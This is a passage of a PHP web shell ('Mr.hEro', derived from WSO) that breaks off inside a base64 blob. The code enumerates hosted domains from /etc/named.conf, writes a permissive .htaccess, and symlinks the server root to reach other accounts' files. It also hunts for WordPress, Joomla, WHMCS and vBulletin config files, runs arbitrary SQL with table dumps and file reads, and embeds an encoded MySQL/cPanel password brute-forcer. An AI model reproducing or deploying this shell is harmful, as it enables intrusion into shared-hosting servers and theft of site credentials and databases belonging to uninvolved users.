preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr><td>".$count."</td><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
$count++;
}}}
echo "</center></table>";
}
if(isset($_POST['p2']) && $_POST['p2']=='whole')
{
@set_time_limit(0);
echo "<center>";
@mkdir('sym',0777);
$IIIIIIIIIIl1 = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$IIIIIIIIII1I =@fopen ('sym/.htaccess','w');
fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
@symlink('/','sym/root');
$IIIIIIIIIlIl = basename('_FILE_');
$IIIIIIIIIllI = @file('/etc/named.conf');
if(!$IIIIIIIIIllI)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<table align='center' width='40%' class='main'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
if(@eregi('zone',$IIIIIIIIIll1)){
preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
flush();
if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
$IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
@symlink('/','sym/root');
$IIIIIIII1I1l = $IIIIIIIIIl11[1][0];
$IIIIIIII1I11 = '\.ir';
$IIIIIIII1lII = '\.il';
if (@eregi("$IIIIIIII1I11",$IIIIIIIIIl11[1][0]) or @eregi("$IIIIIIII1lII",$IIIIIIIIIl11[1][0]) )
{
$IIIIIIII1I1l = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$IIIIIIIIIl11[1][0].'</div>';
}
echo "
<tr>
<td>
<a target='_blank' href=http://www.".$IIIIIIIIIl11[1][0].'/>'.$IIIIIIII1I1l.' </a>
</td>
<td>
'.$IIIIIIIII1I1['name']."
</td>
<td>
<a href='sym/root/home/".$IIIIIIIII1I1['name']."/public_html' target='_blank'>symlink </a>
</td>
</tr>";
flush();
}
}
}
}
echo "</center></table>";
}
if(isset($_POST['p3']) && $_POST['p3']=='config')
{
echo "<center>";
@mkdir('sym',0777);
$IIIIIIIIIIl1 = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$IIIIIIIIII1I =@fopen ('sym/.htaccess','w');
@fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
@symlink('/','sym/root');
$IIIIIIIIIlIl = basename('_FILE_');
$IIIIIIIIIllI = @file('/etc/named.conf');
if(!$IIIIIIIIIllI)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "
<table align='center' width='40%' class='main' ><td> Domains </td><td> Script </td>";
foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
if(@eregi('zone',$IIIIIIIIIll1)){
preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
flush();
if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
$IIIIIIIII1l1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/wp-config.php';
$IIIIIIIII11I=get_headers($IIIIIIIII1l1);
$IIIIIIIII11l=$IIIIIIIII11I[0];
$IIIIIIIII111=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/blog/wp-config.php';
$IIIIIIIIlIII=get_headers($IIIIIIIII111);
$IIIIIIIIlIIl=$IIIIIIIIlIII[0];
$IIIIIIIIlII1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/configuration.php';
$IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);
$IIIIIIIIlIll=$IIIIIIIIlIlI[0];
$IIIIIIIIlIl1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/joomla/configuration.php';
$IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);
$IIIIIIIIlI1l=$IIIIIIIIlI1I[0];
$IIIIIIIIlI11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/includes/config.php';
$IIIIIIIIllII=get_headers($IIIIIIIIlI11);
$IIIIIIIIllIl=$IIIIIIIIllII[0];
$IIIIIIIIllI1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/vb/includes/config.php';
$IIIIIIIIlllI=get_headers($IIIIIIIIllI1);
$IIIIIIIIllll=$IIIIIIIIlllI[0];
$IIIIIIIIlll1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/forum/includes/config.php';
$IIIIIIIIll1I=get_headers($IIIIIIIIlll1);
$IIIIIIIIll1l=$IIIIIIIIll1I[0];
$IIIIIIIIll11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'public_html/clients/configuration.php';
$IIIIIIIIl1II=get_headers($IIIIIIIIll11);
$IIIIIIIIl1Il=$IIIIIIIIl1II[0];
$IIIIIIIIl1I1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/support/configuration.php';
$IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);
$IIIIIIIIl1lI=$IIIIIIIIl1II[0];
$IIIIIIIIl1ll=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
$IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);
$IIIIIIIIl11I=$IIIIIIIIl1l1[0];
$IIIIIIIIl11l=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/submitticket.php';
$IIIIIIIIl111=get_headers($IIIIIIIIl11l);
$IIIIIIII1III=$IIIIIIIIl111[0];
$IIIIIIII1IIl=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
$IIIIIIII1II1=get_headers($IIIIIIII1IIl);
$IIIIIIII1IlI=$IIIIIIII1II1[0];
$IIIIIIII1Ill = strpos($IIIIIIIII11l,'200');
$IIIIIIII1I1I=' ';
if (strpos($IIIIIIIII11l,'200') == true )
{
$IIIIIIII1I1I="<a href='".$IIIIIIIII1l1."' target='_blank'>Wordpress</a>";
}
elseif (strpos($IIIIIIIIlIIl,'200') == true)
{
$IIIIIIII1I1I="<a href='".$IIIIIIIII111."' target='_blank'>Wordpress</a>";
}
elseif (strpos($IIIIIIIIlIll,'200') == true and strpos($IIIIIIII1III,'200') == true )
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIl11l."' target='_blank'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIl1lI,'200') == true)
{
$IIIIIIII1I1I =" <a href='".$IIIIIIIIl1I1."' target='_blank'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIl11I,'200') == true)
{
$IIIIIIII1I1I =" <a href='".$IIIIIIIIl1ll."' target='_blank'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIlIll,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlII1."' target='_blank'>Joomla</a>";
}
elseif (strpos($IIIIIIIIlI1l,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlIl1."' target='_blank'>Joomla</a>";
}
elseif (strpos($IIIIIIIIllIl,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlI11."' target='_blank'>vBulletin</a>";
}
elseif (strpos($IIIIIIIIllll,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIllI1."' target='_blank'>vBulletin</a>";
}
elseif (strpos($IIIIIIIIll1l,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlll1."' target='_blank'>vBulletin</a>";
}
else
{
continue;
}
$IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
echo '<tr><td><a href=http://www.'.$IIIIIIIIIl11[1][0].'/>'.$IIIIIIIIIl11[1][0].'</a></td>
<td>'.$IIIIIIII1I1I.'</td></tr>';flush();
}
}
}
}
echo "</center></table>";
}
echo "</div>";
hErofooter();
}
function hErosql()
{
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$head = true;
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "NULL";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES
(".implode(", ", $item).')';
$head = false;
} else
$sql = "
,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
hErohead();
echo "
<div class=header>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
hErofooter();
}
function hErobf()
{
hErohead();
$cp1 = 'PD9waHANCkBzZXRfdGltZV9saW1pdCgwKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQplY2hvICcN
CjxoZWFkPg0KDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KYm9keSB7DQoJYmFja2dy
b3VuZC1jb2xvcjogIzAwMDAwMDsNCiAgICBmb250LXNpemU6IDE4cHg7DQoJY29sb3I6ICNjY2Nj
Y2M7DQp9DQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7DQpmb250LXdlaWdodDogYm9sZDsNCmNvbG9y
OiAjY2NjY2NjOw0KZGFzaGVkICNmZmZmZmY7DQpib3JkZXI6IDFweA0Kc29saWQgIzJDMkMyQzsN
CmJhY2tncm91bmQtY29sb3I6ICMwODA4MDgNCn0NCmEgew0KCWJhY2tncm91bmQtY29sb3I6ICMx
NTE1MTU7DQoJdmVydGljYWwtYWxpZ246IGJvdHRvbTsNCgljb2xvcjogIzAwMDsNCgl0ZXh0LWRl
Y29yYXRpb246IG5vbmU7DQoJZm9udC1zaXplOiAyMHB4Ow0KCW1hcmdpbjogOHB4Ow0KCXBhZGRp
bmc6IDZweDsNCglib3JkZXI6IHRoaW4gc29saWQgIzAwMDsNCn0NCmE6aG92ZXIgew0KCWJhY2tn
cm91bmQtY29sb3I6ICMwODA4MDg7DQoJdmVydGljYWwtYWxpZ246IGJvdHRvbTsNCgljb2xvcjog
IzMzMzsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoJZm9udC1zaXplOiAyMHB4Ow0KCW1hcmdp
bjogOHB4Ow0KCXBhZGRpbmc6IDZweDsNCglib3JkZXI6IHRoaW4gc29saWQgIzAwMDsNCn0NCi5z
dHlsZTEgew0KCXRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5zdHlsZTIgew0KCWNvbG9yOiAjRkZG
RkZGOw0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KfQ0KLnN0eWxlMyB7DQoJY29sb3I6ICNGRkZGRkY7
DQp9DQotLT4NCjwvc3R5bGU+DQoNCjwvaGVhZD4NCic7DQpmdW5jdGlvbiBpbigkdHlwZSwkbmFt
ZSwkc2l6ZSwkdmFsdWUsJGNoZWNrZWQ9MCkgDQp7DQokcmV0ID0gIjxpbnB1dCB0eXBlPSIuJHR5
cGUuIiBuYW1lPSIuJG5hbWUuIiAiO2lmKCRzaXplICE9IDApIA0Kew0KJHJldCAuPSAic2l6ZT0i
LiRzaXplLiIgIjt9DQokcmV0IC49ICJ2YWx1ZT1cIiIuJHZhbHVlLiJcIiI7aWYoJGNoZWNrZWQp
ICRyZXQgLj0gIiBjaGVja2VkIjtyZXR1cm4gJHJldC4iPiI7fQ0KZWNobyAiPGJyPjx0aXRsZT5C
cnV0ZSBGb3JjZSBCeSBNci5oRXJvPC90aXRsZT48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+
IjsNCmVjaG8gaW4oJ2hpZGRlbicsJ2RiJywwLCRfUE9TVFsnZGInXSk7ZWNobyBpbignaGlkZGVu
JywnZGJfc2VydmVyJywwLCRfUE9TVFsnZGJfc2VydmVyJ10pO2VjaG8gaW4oJ2hpZGRlbicsJ2Ri
X3BvcnQnLDAsJF9QT1NUWydkYl9wb3J0J10pO2VjaG8gaW4oJ2hpZGRlbicsJ215c3FsX2wnLDAs
JF9QT1NUWydteXNxbF9sJ10pO2VjaG8gaW4oJ2hpZGRlbicsJ215c3FsX3AnLDAsJF9QT1NUWydt
eXNxbF9wJ10pO2VjaG8gaW4oJ2hpZGRlbicsJ215c3FsX2RiJywwLCRfUE9TVFsnbXlzcWxfZGIn
XSk7ZWNobyBpbignaGlkZGVuJywnY2NjYycsMCwnZGJfcXVlcnknKTsNCg0KaWYoJF9QT1NUWydw
YWdlJ109PSdmaW5kJykNCnsNCmlmKGlzc2V0KCRfUE9TVFsndXNlcm5hbWVzJ10pICYmaXNzZXQo
JF9QT1NUWydwYXNzd29yZHMnXSkpDQp7DQppZigkX1BPU1RbJ3R5cGUnXSA9PSAncGFzc3dkJyl7
DQokZSA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbJ3VzZXJuYW1lcyddKTsNCmZvcmVhY2goJGUgYXMg
JHZhbHVlKXsNCiRrID0gZXhwbG9kZSgiOiIsJHZhbHVlKTsNCiR1c2VybmFtZSAuPSAka1snMCdd
LiIgIjsNCn0NCn1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ3NpbXBsZScpew0KJHVzZXJuYW1l
ID0gc3RyX3JlcGxhY2UoIlxuIiwnICcsJF9QT1NUWyd1c2VybmFtZXMnXSk7DQp9DQokYTEgPSBl
eHBsb2RlKCIgIiwkdXNlcm5hbWUpOw0KJGEyID0gZXhwbG9kZSgiXG4iLCRfUE9TVFsncGFzc3dv
cmRzJ10pOw0KJGlkMiA9IGNvdW50KCRhMik7DQokb2sgPSAwOw0KZm9yZWFjaCgkYTEgYXMgJHVz
ZXIgKQ0Kew0KaWYoJHVzZXIgIT09ICcnKQ0Kew0KJHVzZXI9dHJpbSgkdXNlcik7DQpmb3IoJGk9
MDskaTw9JGlkMjskaSsrKQ0Kew0KJHBhc3MgPSB0cmltKCRhMlskaV0pOw0KaWYoQG15c3FsX2Nv
bm5lY3QoJ2xvY2FsaG9zdCcsJHVzZXIsJHBhc3MpKQ0Kew0KZWNobyAiaEVyb34gdXNlciBpcyAo
PGI+PGZvbnQgY29sb3I9Z3JlZW4+JHVzZXI8L2ZvbnQ+PC9iPikgUGFzc3dvcmQgaXMgKDxiPjxm
b250IGNvbG9yPWdyZWVuPiRwYXNzPC9mb250PjwvYj4pPGJyIC8+IjsNCiRvaysrOw0KfQ0KfQ0K
fQ0KfQ0KZWNobyAiPGhyPjxiPllvdSBGb3VuZCA8Zm9udCBjb2xvcj1ncmVlbj4kb2s8L2ZvbnQ+
IENwYW5lbCBCeSBNci5oRXJvIFNjcmlwdCBOYW1lPC9iPiI7DQplY2hvICI8Y2VudGVyPjxiPjxh
IGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IjsNCmV4aXQ7DQp9DQp9DQo7
ZWNobyAnDQoNCg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCgk8c3Ry
b25nPg0KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImZpbmQiPiAgICAg
ICAgCQkJCQ0KICAgIDwvc3Ryb25nPg0KICAgIDx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9IjAi
IGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+DQogICAgPHRy
Pg0KICAgICAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiPjxjZW50ZXI+PGJy
Pg0KCQk8L3N0cm9uZz4NCgkJPGEgIGNsYXNzPSJzdHlsZTIiPjxzdHJvbmc+RWRpdG9yIEJ5IA0K
PGZvbnQgY29sb3I9IiMwMEZGMDAiPk1yLmhFcm88L2ZvbnQ+PC9zdHJvbmc+PC9hPjxmb250IGNv
bG9yPSIjMDBGRjAwIj48L2NlbnRlcj48L3RkPjwvZm9udD4NCiAgICA8L3RyPg0KICAgIDx0cj4N
CiAgICA8dGQ+DQogICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5n
PSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+DQogICAgPHRkIHZhbGlnbj0idG9w
IiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4N
Cgk8c3Ryb25nPlVzZXIgOjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2Nv
bG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjx0ZXh0YXJlYSBjb2xzPSI0MCIgcm93
cz0iMTAiIG5hbWU9InVzZXJuYW1lcyI+PC90ZXh0YXJlYT48L3N0cm9uZz48L3RkPg0KICAgIDwv
dHI+DQogICAgPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xh
c3M9InN0eWxlMiIgc3R5bGU9IndpZHRoOiAxMzlweCI+DQoJPHN0cm9uZz5QYXNzIDo8L3N0cm9u
Zz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0i
NSI+PHN0cm9uZz48dGV4dGFyZWEgY29scz0iNDAiIHJvd3M9IjEwIiBuYW1lPSJwYXNzd29yZHMi
PjwvdGV4dGFyZWE+PC9zdHJvbmc+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICA8dGQg
dmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0
aDogMTM5cHgiPg0KCTxzdHJvbmc+VHlwZSA6PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWdu
PSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPg0KICAgIDxzcGFuIGNsYXNzPSJz
dHlsZTIiPjxzdHJvbmc+U2ltcGxlIDogPC9zdHJvbmc+IDwvc3Bhbj4NCgk8c3Ryb25nPg0KCTxp
bnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InNpbXBsZSIgY2hlY2tlZD0iY2hl
Y2tlZCIgY2xhc3M9InN0eWxlMyI+PC9zdHJvbmc+DQogICAgPGZvbnQgY2xhc3M9InN0eWxlMiI+
PHN0cm9uZz4vZXRjL3Bhc3N3ZCA6IDwvc3Ryb25nPiA8L2ZvbnQ+DQoJPHN0cm9uZz4NCgk8aW5w
dXQgdHlwZT0icmFkaW8iIG5hbWU9InR5cGUiIHZhbHVlPSJwYXNzd2QiIGNsYXNzPSJzdHlsZTMi
Pjwvc3Ryb25nPjxzcGFuIGNsYXNzPSJzdHlsZTMiPjxzdHJvbmc+DQoJPC9zdHJvbmc+DQoJPC9z
